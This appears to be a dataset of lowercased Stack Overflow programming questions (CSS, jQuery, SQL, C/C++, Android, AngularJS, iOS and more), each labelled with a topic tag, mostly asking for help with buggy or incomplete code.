overlapping an image via css just by using a class   please  take a look on this:   <pre><code>&lt;div class= box photo col2 normaloffer &gt; </code></pre>   where the css (simplified) is like:   <pre><code>.box {   margin: 5px;   padding: 5px;   font-size: 11px;   line-height: 1.4em;   float: left;   border:1px solid #dfdfdf;   -webkit-border-radius: 5px;      -moz-border-radius: 5px;           border-radius: 5px; }  .normaloffer {     background: #d8d5d2; }  .col2 { width: 180px; } </code></pre>   that renders:    <img src= https://i.stack.imgur.com/kshnv.png  alt= enter image description here >    well  i need to overlap an image at the top center of each image  i know that making some divs and arranging them i can do that  but i was wondering  can i make this using a class  because i want to overlap the image sometimes and sometimes not. something like:    <pre><code>&lt;div class= box photo col2 normaloffer overlap &gt; .overlap { // no idea what to put in here  is possible  } </code></pre>   <strong>edit</strong> result: <img src= https://i.stack.imgur.com/fk9zv.png  alt= enter image description here >,css
what does  protected user interface elements  mean  when configuring the <code>requestedexecutionlevel</code> in an manifest  there is a setting option <code>uiaccess</code> which  indicates whether the application requires access to protected user interface elements  (see <a href= http://msdn.microsoft.com/en-us/library/6ad1fshk.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/6ad1fshk.aspx</a>)    what exactly does  <code>protected user interface elements</code>  mean,.net
jquery 1.9 migrate live() to on() with multiple events not working  i have upgrade jquery to version 1.9.1  but the live() function is broken. i am now migrating live() to on() as descripted in <a href= https://stackoverflow.com/questions/14354040/jquery-1-9-live-is-not-a-function >this post</a>.    but this senario is not working. may be because it s targeting mutiple events  which are  copy    paste  and  cut . no error has been captured in firefox console.    previous code:   <pre><code>$( #password ).live( copy paste cut   function (e) {     e.preventdefault();     alert( please do not copy-paste your password ); }); </code></pre>   now:   <pre><code>$( body ).on( copy paste cut    #password   function (e) {     e.preventdefault();     alert( please do not copy-paste your password ); }); </code></pre>   i want a clean and nice solution for this. do not write same code for three times.    thanks!,jquery
implement one column to reference at many tables  <a href= https://i.stack.imgur.com/qzo6z.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qzo6z.jpg  alt= enter image description here ></a>    this is a part of a database that i am trying to complete. the database consists of data for a printing store  apart from keeping data for the customers the database must store the products available. the problem is that  each product has different characteristics  e.x. a lighter has different materials and lighting methods etc but a flyer has different paper qualities  colors to be used etc  so each product must be specified in another table. how can all these tables be connected through the  order_products  table  but i do not want to use references on the product tables( product_01  etc)back to the  order_products  table.,sql
pickerviews and tableviews  can i use just one controller to have a tableview (bottom half of the screen) shared with a pickerview (top half of the screen)     also  is the tableview the best way to implement an eight row by two column view used for display purposes only  or is there a better - easier - way,iphone
need to build a fast-sorting datagrid application (desktop client)  i m having trouble creating an application that handles a moderate amount of fast-refreshing data and displays it in a datagrid. currently we re using a telerik radgridview winforms control  and the refresh performance is quite decent - until one of the columns is sorted  which makes things take a nose dive  with the application becoming almost unusable. i don t have to display a lot of data  like  under 200 items - but they do get updated quite frequently  every half a second or so. the data is read-only  but we prefer to use a datagrid because it makes it easy for user to select what columns are shown and which one is used for sort.    profiling shows that turning on sorting creates a ridiculous number of cell redraws - on the order of millions for several hundred property changes. most of the cpu seems to be tied up in various gdi drawing methods that i assume deal with painting cells.    at this point almost anything is on the table  from hosting a wpf grid to take advantage of hardware accelleration  to buying another grid. if anyone has experience or advice with creating applications like this  it would be awesome.,.net
correct usage from function prototype in program  i have to use the following c function in one of my programs (using kiel compiler):    <pre><code>prototype: int fopen (file* f  char* filename  char* mode) parameters:  1. f-pointer to file structure 2. filename-pointer to a memory location that contains the filename. 3. mode-pointer to a memory location that contains the file open mode. return value: 1  if file was opened successfully. 0  otherwise. </code></pre>   when i tried this i am getting error:    <pre><code>file * f; char* filename; char* mode; int t;   filename[0]=  g ;  mode[0]= w ;   t= fopen( f  filename[0] mode[0]); </code></pre>   error:    <pre><code>copyright copyright (c) 2012 - 2013 arm ltd and arm germany gmbh. all rights reserved. *** error c141 in line 171 of f34x_msd_f931dc_main.c: syntax error near  file  *** error c202 in line 171 of f34x_msd_f931dc_main.c:  f : undefined identifier *** error c141 in line 172 of f34x_msd_f931dc_main.c: syntax error near  char  *** error c202 in line 172 of f34x_msd_f931dc_main.c:  filename : undefined identifier *** error c141 in line 173 of f34x_msd_f931dc_main.c: syntax error near  char  *** error c202 in line 173 of f34x_msd_f931dc_main.c:  mode : undefined identifier *** error c141 in line 174 of f34x_msd_f931dc_main.c: syntax error near  int  *** error c202 in line 174 of f34x_msd_f931dc_main.c:  t : undefined identifier *** error c202 in line 177 of f34x_msd_f931dc_main.c:  filename : undefined identifier *** error c202 in line 179 of f34x_msd_f931dc_main.c:  mode : undefined identifier *** error c202 in line 182 of f34x_msd_f931dc_main.c:  t : undefined identifier  c51 compilation complete.  0 warning(s)   11 error(s) </code></pre>   can someone help me in correct usage       <strong>update:</strong>    when i put the variable declarations at the beginning in the main i managed to remove all the errors. but a new error is coming now:   <pre><code>copyright copyright (c) 2012 - 2013 arm ltd and arm germany gmbh. all rights reserved. *** error c214 in line 184 of f34x_msd_f931dc_main.c: illegal pointer conversion </code></pre>   i got some hint <a href= http://www.keil.com/support/man/docs/c51/c51_c214.htm  rel= nofollow >here</a>  but even then unable to understand how to resolve this issue,c
is there any downside to having a vector of reference wrappers   i needed a vector of a base class  and everywhere i looked the solution was to store it as a pointer. however  storing pointers makes things harder to use because of the lack of value semantics.   <pre><code>struct base {     int a = 10; };  struct derived : public base {     int b = 5; };  int main() {     std::vector&lt;std::reference_wrapper&lt;base&gt;&gt; vec;     vec.push_back(*(new derived));      auto elem = static_cast&lt;derived*&gt;(&amp;vec.at(0).get());     std::cout &lt;&lt; elem-&gt;b &lt;&lt; std::endl; // prints 5     return 0; } </code></pre>   is there any downside to just storing them as an <code>std::reference_wrapper</code>,c++
prevent the user from turning on/off gps  wifi  internet buttons in android form notification bar  i am looking for solution to my problem for 2 days. i searched a lot but not found. i have developed a gps traking application in andorid. what i want is while running my app  app will block the user from switch on /off the gps  wifi internet toggle buttons on the notification area.    any body have a solution  please help,android
implement permalink in asp.net 4.0  in my asp.net application every category is having multiple dealer locations so clicking on a particular dealer it should navigate to that particular dealer section of that page and so that i can send that link to my anyone then they can observe that particular portion of the web page for this i want to know how to  implement this in my asp.net web application,asp.net
how to block outgoing calls and text sms  i am developing an app in which i need to block the teenager from using mobile while driving  i need to block the call and sms. please help . any small hints and clues will do. please help me!,android
sub-queries and mysql  for my class we were given an assignment related to sub-queries and my professor is generally good at explaining code i struggled to pick up on what the core principals are for this section.    here is the code for the tables and the beginning of what i think i may need to do   <pre><code>create table webserver  ( ip char(30)   vendor char(30)   os char(30)   location char(30)   primary key(ip)  );  create table traffic  ( id int   tdate date    ttime time   sourceip char(30)   protocol char(10)   webserver_ip char(30)   packetsize float   primary key (id)   foreign key (webserver_ip) references webserver(ip) ) </code></pre>   this is what i have so far and am struggling with where to go from here:   <pre><code>select count(protocol)  protocol from traffic group by protocol </code></pre>   <strong>this is the question:</strong>    find the frequency of the connections to each protocol type. (ratio = (number of connections to a protocol) / (the total number of connections)     –hint: you need to use a subquery for this question),mysql
getting seg fault in gdb (debugging)  i am a bit new to pointers. i am receiving this error while running the code below specified using gcc compiler in ububtu.   <pre><code>error:  program received signal sigsegv  segmentation fault. 0x00007ffff7de7c13 in _dl_fini () at dl-fini.c:235 235 dl-fini.c: no such file or directory </code></pre>   <strong><em>code</em></strong> .   <pre><code>    #include &lt;stdio.h&gt;     #include &lt;cmath&gt;     #include&lt;stdlib.h&gt;     void update(int *a int *b) {         int *c;         *c=*a;         *c=abs(*a+*b);         *b=abs(*a-*b);         *a=*c;     }      int main() {         int a  b;         int *pa = &amp;a  *pb = &amp;b;          scanf( %d %d   &amp;a  &amp;b);         update(pa  pb);         printf( %d\n%d   a  b);          return 0;     } </code></pre>   please post any suggestions/solutions regarding this.,c
simple spacing css  i have designed a navbar for my website; you can see it at <a href= http://jsfiddle.net/toddstyles/d2tzh/  rel= nofollow noreferrer >http://jsfiddle.net/toddstyles/d2tzh/</a>.    <img src= https://i.imgur.com/9s6oqst.png  alt= screenshot >    what css i would use to change the spacing between them  i used an unordered list to make it and changed the <code>display</code> to <code>inline</code>.,css
error: invalid initialization of type <pre><code>istream&amp; operator&gt;&gt; (istream &amp;in  vector &lt;customer&gt;&amp; cvect) {     while (!in.eof())     {          //read from file into cvect vector     }     return cvect; } </code></pre>   for this i get  invalid initialization of reference of type cvect . what am i doing wrong,c++
error when launch rails application  i have rails application  which was not written by me. i am not rails developer  so before i dig into the code i will be thankful if you look at stack trace. may be it is some standard problem:   <pre><code>started get  /  for 127.0.0.1 at 2016-12-02 16:14:20 +0300 processing by projectscontroller#index as html completed 500 internal server error in 1ms (activerecord: 0.0ms)  runtimeerror ():   &lt;compiled&gt;:1:in `&lt;compiled&gt;    &lt;compiled&gt;:71:in `eval    &lt;compiled&gt;:71:in `block (2 levels) in &lt;compiled&gt;    activesupport (4.2.5) lib/active_support/callbacks.rb:446:in `instance_exec    activesupport (4.2.5) lib/active_support/callbacks.rb:446:in `block in make_lambda    activesupport (4.2.5) lib/active_support/callbacks.rb:164:in `block in halting    activesupport (4.2.5) lib/active_support/callbacks.rb:504:in `block in call    activesupport (4.2.5) lib/active_support/callbacks.rb:504:in `each    activesupport (4.2.5) lib/active_support/callbacks.rb:504:in `call    activesupport (4.2.5) lib/active_support/callbacks.rb:92:in `__run_callbacks__    activesupport (4.2.5) lib/active_support/callbacks.rb:778:in `_run_process_action_callbacks    activesupport (4.2.5) lib/active_support/callbacks.rb:81:in `run_callbacks    actionpack (4.2.5) lib/abstract_controller/callbacks.rb:19:in `process_action    actionpack (4.2.5) lib/action_controller/metal/rescue.rb:29:in `process_action    actionpack (4.2.5) lib/action_controller/metal/instrumentation.rb:32:in `block in process_action    activesupport (4.2.5) lib/active_support/notifications.rb:164:in `block in instrument    activesupport (4.2.5) lib/active_support/notifications/instrumenter.rb:20:in `instrument    activesupport (4.2.5) lib/active_support/notifications.rb:164:in `instrument    actionpack (4.2.5) lib/action_controller/metal/instrumentation.rb:30:in `process_action    actionpack (4.2.5) lib/action_controller/metal/params_wrapper.rb:250:in `process_action    activerecord (4.2.5) lib/active_record/railties/controller_runtime.rb:18:in `process_action    actionpack (4.2.5) lib/abstract_controller/base.rb:137:in `process    actionview (4.2.5) lib/action_view/rendering.rb:30:in `process    actionpack (4.2.5) lib/action_controller/metal.rb:196:in `dispatch    actionpack (4.2.5) lib/action_controller/metal/rack_delegation.rb:13:in `dispatch    actionpack (4.2.5) lib/action_controller/metal.rb:237:in `block in action    actionpack (4.2.5) lib/action_dispatch/routing/route_set.rb:76:in `dispatch    actionpack (4.2.5) lib/action_dispatch/routing/route_set.rb:45:in `serve    actionpack (4.2.5) lib/action_dispatch/journey/router.rb:43:in `block in serve    actionpack (4.2.5) lib/action_dispatch/journey/router.rb:30:in `each    actionpack (4.2.5) lib/action_dispatch/journey/router.rb:30:in `serve    actionpack (4.2.5) lib/action_dispatch/routing/route_set.rb:817:in `call    rack (1.6.4) lib/rack/etag.rb:24:in `call    rack (1.6.4) lib/rack/conditionalget.rb:25:in `call    rack (1.6.4) lib/rack/head.rb:13:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/params_parser.rb:27:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/flash.rb:260:in `call    rack (1.6.4) lib/rack/session/abstract/id.rb:225:in `context    rack (1.6.4) lib/rack/session/abstract/id.rb:220:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/cookies.rb:560:in `call    activerecord (4.2.5) lib/active_record/query_cache.rb:36:in `call    activerecord (4.2.5) lib/active_record/connection_adapters/abstract/connection_pool.rb:653:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/callbacks.rb:29:in `block in call    activesupport (4.2.5) lib/active_support/callbacks.rb:88:in `__run_callbacks__    activesupport (4.2.5) lib/active_support/callbacks.rb:778:in `_run_call_callbacks    activesupport (4.2.5) lib/active_support/callbacks.rb:81:in `run_callbacks    actionpack (4.2.5) lib/action_dispatch/middleware/callbacks.rb:27:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/reloader.rb:73:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/remote_ip.rb:78:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/debug_exceptions.rb:17:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/show_exceptions.rb:30:in `call    railties (4.2.5) lib/rails/rack/logger.rb:38:in `call_app    railties (4.2.5) lib/rails/rack/logger.rb:20:in `block in call    activesupport (4.2.5) lib/active_support/tagged_logging.rb:68:in `block in tagged    activesupport (4.2.5) lib/active_support/tagged_logging.rb:26:in `tagged    activesupport (4.2.5) lib/active_support/tagged_logging.rb:68:in `tagged    railties (4.2.5) lib/rails/rack/logger.rb:20:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/request_id.rb:21:in `call    rack (1.6.4) lib/rack/methodoverride.rb:22:in `call    rack (1.6.4) lib/rack/runtime.rb:18:in `call    activesupport (4.2.5) lib/active_support/cache/strategy/local_cache_middleware.rb:28:in `call    rack (1.6.4) lib/rack/lock.rb:17:in `call    actionpack (4.2.5) lib/action_dispatch/middleware/static.rb:116:in `call    rack (1.6.4) lib/rack/sendfile.rb:113:in `call    railties (4.2.5) lib/rails/engine.rb:518:in `call    railties (4.2.5) lib/rails/application.rb:165:in `call    rack (1.6.4) lib/rack/content_length.rb:15:in `call    thin (1.6.4) lib/thin/connection.rb:86:in `block in pre_process    thin (1.6.4) lib/thin/connection.rb:84:in `catch    thin (1.6.4) lib/thin/connection.rb:84:in `pre_process    thin (1.6.4) lib/thin/connection.rb:53:in `process    thin (1.6.4) lib/thin/connection.rb:39:in `receive_data    eventmachine (1.0.8) lib/eventmachine.rb:193:in `run_machine    eventmachine (1.0.8) lib/eventmachine.rb:193:in `run    thin (1.6.4) lib/thin/backends/base.rb:73:in `start    thin (1.6.4) lib/thin/server.rb:162:in `start    rack (1.6.4) lib/rack/handler/thin.rb:19:in `run    rack (1.6.4) lib/rack/server.rb:286:in `start    railties (4.2.5) lib/rails/commands/server.rb:80:in `start    railties (4.2.5) lib/rails/commands/commands_tasks.rb:80:in `block in server    railties (4.2.5) lib/rails/commands/commands_tasks.rb:75:in `tap    railties (4.2.5) lib/rails/commands/commands_tasks.rb:75:in `server    railties (4.2.5) lib/rails/commands/commands_tasks.rb:39:in `run_command!    railties (4.2.5) lib/rails/commands.rb:17:in `&lt;top (required)&gt;    bin/rails:4:in `require    bin/rails:4:in `&lt;main&gt;  </code></pre>   here is a gemfile:   <pre><code>source  http://rubygems.org    # bundle edge rails instead: gem  rails   github:  rails/rails  gem  rails    &gt;=4.2.4  # use sqlite3 as the database for active record gem  sqlite3   # use scss for stylesheets gem  sass-rails    &gt;=5.0  # use uglifier as compressor for javascript assets gem  uglifier    &gt;= 1.3.0  # use coffeescript for .coffee assets and views gem  coffee-rails    ~&gt; 4.1.0  # see https://github.com/rails/execjs#readme for more supported runtimes # gem  therubyracer   platforms: :ruby  # use jquery as the javascript library gem  jquery-rails  # turbolinks makes following links in your web application faster. read more: https://github.com/rails/turbolinks gem  turbolinks  # build json apis with ease. read more: https://github.com/rails/jbuilder gem  jbuilder    ~&gt; 2.0  # bundle exec rake doc:rails generates the api under doc/api. gem  sdoc    ~&gt; 0.4.0   group: :doc  # use activemodel has_secure_password # gem  bcrypt    ~&gt; 3.1.7   # use unicorn as the app server # gem  unicorn   # use capistrano for deployment # gem  capistrano-rails   group: :development  group :development  :test do   # call  byebug  anywhere in the code to stop execution and get a debugger console   #gem  byebug  end  group :development do   # access an irb console on exception pages or by using &lt;%= console %&gt; in views   gem  web-console    ~&gt; 2.0  end  # windows does not include zoneinfo files  so bundle the tzinfo-data gem gem  tzinfo-data   platforms: [:mingw  :mswin  :x64_mingw  :jruby]   gem  therubyracer  :platform =&gt; :ruby  gem  pg  gem  russian  gem  thin  gem  ransack  gem  responders    ~&gt; 2.0  gem  acts_as_tree  gem  d3-rails  gem  c3-rails  gem  bootstrap-datepicker-rails  gem  momentjs-rails     gem  select2-rails  gem  chosen-rails  gem  compass    &gt;=1.0.3  gem  compass-rails    &gt;=2.0.4  </code></pre>,ruby-on-rails
ng-model is not updated when ng-options changes angularjs  my <code>optiontype</code> is not getting updated when i change the value in the dropdown.   <pre><code>&lt;select ng-model= optiontype  ng-options= op.option for op in ops  ng-change= optionchanged() &gt;&lt;/select&gt; </code></pre>   i use <code>ng-change</code> to check for the value change. i put a break point at the top of <code>optionchanged()</code> and see that the value of <code>optiontype</code> is not changed when the function is called.   <pre><code>.controller( uploadctrl   function($scope) {     $scope.ops = [          { option:  report  }           { option:  support  }           { option:  learn  }      ] ;      $scope.optiontype = $scope.ops[0];      $scope.optionchanged = function() {      }; }) </code></pre>,angularjs
how to release it   i am new to iphone development.   <pre><code>+ (id&lt;gmgridviewlayoutstrategy&gt;)strategyfromtype:(gmgridviewlayoutstrategytype)type {     id&lt;gmgridviewlayoutstrategy&gt; strategy = nil;      switch (type) {         case gmgridviewlayoutvertical:             strategy = [[gmgridviewlayoutverticalstrategy alloc] init];             break;         case gmgridviewlayouthorizontal:             strategy = [[gmgridviewlayouthorizontalstrategy alloc] init];             break;         case gmgridviewlayouthorizontalpagedltr:             strategy = [[gmgridviewlayouthorizontalpagedltrstrategy alloc] init];             break;         case gmgridviewlayouthorizontalpagedttb:             strategy = [[gmgridviewlayouthorizontalpagedttbstrategy alloc] init];             break;     }      return strategy; } </code></pre>   here i am calling that method:   <pre><code>gmgridview = [[gmgridview alloc] init]; gmgridview.layoutstrategy = [gmgridviewlayoutstrategyfactory strategyfromtype:gmgridviewlayouthorizontalpagedltr]; [self.view addsubview:gmgridview]; </code></pre>   now my question is that how to release strategy object of strategyfromtype method its giving me potential leak.and if i am going to release/autorelease my application is crashing. please help methanking you...,iphone
java: error:  ;  expected  i ve been doing some basic java things and while compiling i m getting some errors and i have no idea why...   <pre><code>for (visibleobject object : spawnedobjects) {     if (object == null) {spawnedobjects.remove(object); break;}     if (object.getspawn().gettemporaryspawn().candespawn() &amp;&amp; object.getspawn().haspool()||bypass &amp;&amp; object.getspawn().haspool()) {         if ((object instanceof npc)) {             npc npc = (npc) object;             if (!npc.getlifestats().isalreadydead()) {                int object.getspawn().setuse(false);                 npc.getcontroller().canceltask(taskid.respawn);                 object.getcontroller().delete();                 spawnedobjects.remove(object);             } </code></pre>   and it says:  error:  ;  expected     [javac]                         <strong>int object.getspawn().setuse(false);</strong>    can anyone help me trying to solve this  d:,java
set default value for angular select from json  iam not able to set default value to select using angular   <pre><code>&lt;span ng-init= key = viewchecklist.type &gt;  &lt;select ng-model= key  ng-options= key as value for (key  value) in checklist_type /&gt; &lt;/span&gt; </code></pre>   checklist type json is   <pre><code>$scope.checklist_type = {  1: product delivery    2: quality analysis  } </code></pre>   and this needs to be matched with type of viewchecklist   <pre><code>$scope.viewchecklist = {   id: 1     checklist_name:  test      type:  2  } </code></pre>,angularjs
jquery hover on child effect other child  i ve been searching for a way to fix this; i ve got a div with two things in it: the first is an img and the second is a div. i would like to have it so that  once you hover on the img  the div shows up. but since both the img and the div are children of the first div  i m having difficulty doing this.    i ve tried doing this:   <pre><code>        $( .mydiv img ).hover(     function()      {         $(this).parent().children( :nth-child(1) ).removeclass( hidden );     } </code></pre>   but it doesn t work   <pre><code>&lt;div class= mydiv  style= position: relative; top:216; left:22%;  href= #  id= 1 &gt;     &lt;img src= assets/this/1.png &gt;      &lt;div id= jumper  class= hidden &gt; &lt;img src= assets/this/g.png  /&gt;         &lt;table&gt;             &lt;tr&gt;                 &lt;th&gt;name&lt;/th&gt;                 &lt;th&gt;df-0&lt;/th&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;replace_me&lt;/td&gt;                 &lt;td&gt;70&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,jquery
crash report solving   i used the utility <strong>symbolicatecrash</strong> as mentioned in tutorial ..   <pre><code>  $ symbolicatecrash report.crash mobilelines.app.dsym &gt; report-with-symbols.crash </code></pre>   it produces report with symbols  as i am new to this how can i use this report to solve the crash any help please,iphone
randomization for pictureboxes  is it possible to populate the picturebox  actionbox1  with a random image of my choice   specifically   strollinstu   waterbottle  and  goop    i ve seen lots of questions but it s not really explained. can someone explain how to do it   i m using a timer_tick event  if that helps.,c#
how to display a particular nsxmlparser response data to webview  i parsed my xml by using nsxmlparser and i got the data of like <code>&lt;title&gt; &lt;details&gt; &lt;subtitle&gt;</code> now i just want to publish this data on the uiwebview.    how can i achieve that,iphone
sharedapplication()  is unavailable: use view controller based solutions where appropriate instead  this same error has happened before in different contexts.     i only created a new <code>notificationserviceextension</code> and i tried get reference to appdelegate by    <pre><code>- (appdelegate *)appdelegate {     return (appdelegate *)[[uiapplication sharedapplication] delegate]; } </code></pre>   i get following compile time error.   <blockquote>     sharedapplication()  is unavailable: use view controller based   solutions where appropriate instead.  </blockquote>   i have no cocoapod dependency etc.    how can i resolve this issue  any build settings that i change,ios
is it always bad idea to use inline css for used-once property   i have a table  with 10 columns. i want to control the width of each column. each column is unique  right now i create an external css style for each column:   <pre><code>div#my-page table#members th.name-col { width: 40px; } </code></pre>   i know there is a best practice to avoid inline style.  i do approve using external css for anything look n feel related: fonts  colors  images. but is it really better to use external css in this case     it does not incur extra maintenance cost.<br> it is easier to produce.      cons i can think of:<br> if you have separate designers and development team - using inline styles will force designers to modify content-file (aspx in my case). it <em>might</em> use more bandwidth.    anything else i ve missed     <strong>important:</strong> i am asking about <strong>only</strong> one specific case where style used will ever apply to exactly one element  and is not part of the global-theme  such as width of one particular column.,css
check for app new version in the store  i have the requirement to check for new app versions in the store and if there s one  display a dialog asking user to update the app.    on ios  this can be nicely accomplished by the official affiliate search api from apple. i m looking for an  official  way of doing the same on android.,android
use a byte flag to indicate non-null pointers  i m reading <a href= http://www.gamedev.net/page/resources/_/technical/game-programming/introduction-to-octrees-r3529  rel= nofollow >this</a> article about octrees and i noticed the author uses a byte variable to hold information about active child nodes for every octree node.   <pre><code>byte m_activenodes = 0; </code></pre>   he then uses it as follows   <pre><code>//create child nodes for (int a = 0; a &lt; 8; a++) {     if (octlist[a].count != 0)     {         m_childnode[a] = createnode(octant[a]  octlist[a]);         m_activenodes |= (byte)(1 &lt;&lt; a);         m_childnode[a].buildtree();     } } </code></pre>   then in the rest of the code  whenever he wants to check if an active node of an octree exists  he first checks <code>m_activenodes</code>  and then accessing <code>m_childnode[index]</code> without worries. example:   <pre><code>//recursively update any child nodes. for( int flags = m_activenodes  index = 0; flags &gt; 0; flags &gt;&gt;=1  index++)     if ((flags &amp; 1) == 1) m_childnode[index].update(gametime); </code></pre>   the author codes in c# and not in c++  but i know i would just set non-active nodes to <code>nullptr</code> and then check if <code>m_childnodes[index] == nullptr</code> before accessing it.    so my question is if his approach is more efficient than mine  and if not  what benefits does it have.,c++
property  overflow-y  from css don t show the expected behaviour  in my project  i create the follow div section to simulate an popup box:   <pre><code>&lt;div id= box &gt;     &lt;div id= header &gt; &lt;span id= title &gt;&lt;/span&gt; &lt;span id= button &gt;x&lt;/span&gt; &lt;/div&gt;     &lt;div id= text &gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   where i append the content of several pages on it  the most with content bigger than the size of the box. in this current status  the content is rendered outside the box  despite i am using the value  scroll  to the property overflow-x  as follow:   <pre><code>#box {     border-style: solid;     box-shadow: 2px 2px 2px black;     height: 400px;     max-width: 90%;     max-height: 90%; }  #button {     background-color: #99ccff;     min-width: 32px;     max-width: 5%;     min-height: 32px;     max-height: 100%;     position:absolute;     right:0px;     text-align:center;     padding-left:10px;     padding-right:10px; }  #header {     background-color: #66b2ff;  }  #title {     text-decoration-color: #ffffff;     font: 28px arial; }  #text {     background-color: #e0e0e0;     text-decoration-color: #000000;     font: 24px sans-serif;     overflow-y: scroll;     min-height: 480px }  .ui-resizable-handle {     width: 5px;     height: 5px;     background-color: red; } </code></pre>   what i missing here,css
what should action=   be set to so that <form> submits to same page   what should  action=   be set to so that the same page is used for the submit     when i do a submit on the following   presently i have:  action= ./diag_system_page_controls.htm  ..but can i just have  action=    to indicate that i want to re-load the same page    <pre><code>            &lt;span hidden= hidden &gt;                 &lt;form id= snmp_operation_windmarks_form_id  class= body_t  action= ./diag_system_page_controls.htm  method= post  &gt;               &lt;!-- a page-to-vxworks windmark field must be &lt;input&gt; and needs id= name= value=                      and cannot be used bi-directionally...--&gt;                     &lt;!-----------  page-to-mm windmarks go here:   --------------&gt;                   &lt;!--  example:                 &lt;input id= snmp_signal_element_id  type= text  name= snmp_signal_windmark  value= $%snmp_signal_windmark#$  /&gt;                 &lt;input id= snmp_ip_windmark_id  type= text  name= snmp_ip_windmark  value= $%snmp_ip_windmark#$  /&gt;                 &lt;input id= snmp_oid_list_windmark_id  type= text  name= snmp_oid_windmark  value= $%snmp_oid_windmark#$  /&gt;                 &lt;input id= snmp_set_data_windmark_id  type= text  name= snmp_set_data_windmark  value= $%snmp_set_data_windmark#$  /&gt;                 &lt;input type= submit  /&gt;                                  --&gt;                 &lt;/form&gt;                  &lt;!-----------  mm-to-page windmarks go here:   --------------&gt;                  &lt;!-- example:                  &lt;br /&gt;snmp_signal_done_windmark:                 &lt;span id= snmp_signal_done_element_id  &gt;$%snmp_signal_done_windmark#$&lt;/span&gt;                 --&gt;            &lt;/span&gt; </code></pre>,html
changes done in asp controls not reflecting in ie 8.0  i have an asp button which calls a javascript function during  onclientclick .this javascript function then calls a button click event of a hidden button(document.getelementbyid( btnhidden ).click().so this leads to server side event handler for the hidden button.    over there i update the database and based on the number of errors i use a label control to display  saved successfully .but this doesnt show up in i.e 8.whereas in mozilla or google chrome  it is working    i face these issues only in ie8 but its working fine in mozilla or chrome.i even tried to do content=ie=edge but no hope  can anyone explain what could be the reason for this and appropriate remedy,.net
angular ui bootstrap open modal within modal  i am using angular ui bootstrap modal to open content within modal  and works fine. the problem is if i have a link within the modal content that should open another modal then it doesn t work.    how can i open unlimited numbers of modals within modals    <pre><code> $scope.showmodal = function (modal_id  modal_size  modal_backdrop) {         $rootscope.currentmodal = $modal.open({             templateurl: modal_id              size: modal_size              backdrop: typeof modal_backdrop ==  undefined    true : modal_backdrop              scope: $scope         });                }; </code></pre>   then i can just do:    <pre><code>$scope.showmodal( template    lg ); </code></pre>,angularjs
angularjs: $watch on a collection triggers  out of memory  exception  i want a button to be disabled whenever the property isselected of all the objects in a collection is set to false.    to deep watch a collection for taking action when a property changes  i do:   <pre><code>$scope.$watch( messages   function (i) {        //do something }  true); </code></pre>   but the collection is too big (actually i only have two elements but these are big objects) an d i run in a  out of memory  exception.    so  what should i do instead       <strong>[edit]</strong>    following @boxed suggestion:    <pre><code>        $scope.$watch(function () {             return $($scope.messages).map(function () {                 return this.isselected;             });          }  function (e) {             //do something         }); </code></pre>   it is still very slow and i run into the error:   <ul> <li>erreur d’exécution javascript: 10 $digest() iterations reached. aborting!</li> </ul>,angularjs
sql - select single record in one-to-many instances  i am joining multiple tables  and one of the tables has timestamps associated with each entry. i m using this particular table to identify a single timestamp.    the difficulty is  in a few instances  the logic repeats itself and i get duplicate records  only difference being the timestamp. what i m looking for is a way to only return the earliest timestamp.    example:    query structure   <pre><code>select table1.id  table1.timestamp  table2.text  table3.text2  from table3  left join table2 on table2.id=table3.id left join table1 on table2.id=table1.id  where table1.text like  %from group 1%  </code></pre>   output example current   <pre><code>id  timestamp  text  text2  98  2/4/2014  xxx  xxxx  99  3/1/2014  xxxx  xxxx  99  3/2/2014  xxx  xxxx &lt;----do not want 2nd record </code></pre>   ideal output   <pre><code>id  timestamp  text  text2  98  2/4/2014  xxx  xxxx  99  3/1/2014  xxx  xxxx &lt;---- only 1 record (earliest timestamp) </code></pre>,sql
can we convert a live application to an inapp application in iphone   <strong>can we convert a live application to an in-app application in iphone </strong>    i have an application which is already submitted in apple. now i want to convert this application to inapp which previously was not. so what changes i have to make for doing this. here i have used an apple id and also distribution id for developing this apps.    so for making it inapp  again i have to create id  or any other necessary things please help. thanks in advance.,iphone
format double type  i need to format double type so that it has at least two digits after delimiter:    5     ->  5.00     5.5   ->  5.50     5.55  ->  5.55     5.555 ->  5.555     how can i achieve it,.net
which virtual function in c++ will be called <pre><code>class a {     int a; public:     a()     {     }     virtual void f1()     {         cout&lt;&lt; a  &lt;&lt;endl;     }     virtual void f2()     {         f1();     } };  class b: public a {     int b; public:     b()     {     }     void f1()     {         cout&lt;&lt; b  &lt;&lt;endl;     } };  int main(void) {     b obj;     obj.f2(); } </code></pre>   o/p - b    i am running this code on visual stdio 2010. please explain why class b s function f1() is called  and why not class a s function f1().,c++
simple question about uitextfield and not working securetextentry  i have a password field with text  password  and when user clicks  it gets cleared. moreover i want to set the type of this textfield as secure but this doesn´t work.    <pre><code>- (void)textfielddidbeginediting:(uitextfield *)textfield{    if ([textfield.text isequaltostring:@ password ] || [textfield.text isequaltostring:@ email ])   {   textfield.text = @  ;       textfield.securetextentry = yes;   } } </code></pre>,iphone
what makes ngmodelcontroller a controller   it says <a href= http://docs.angularjs.org/api/ng.directive%3angmodel.ngmodelcontroller  rel= nofollow >here</a> that   ngmodelcontroller provides api for the ng-model directive.     so why isn t it called ngmodeldirective,angularjs
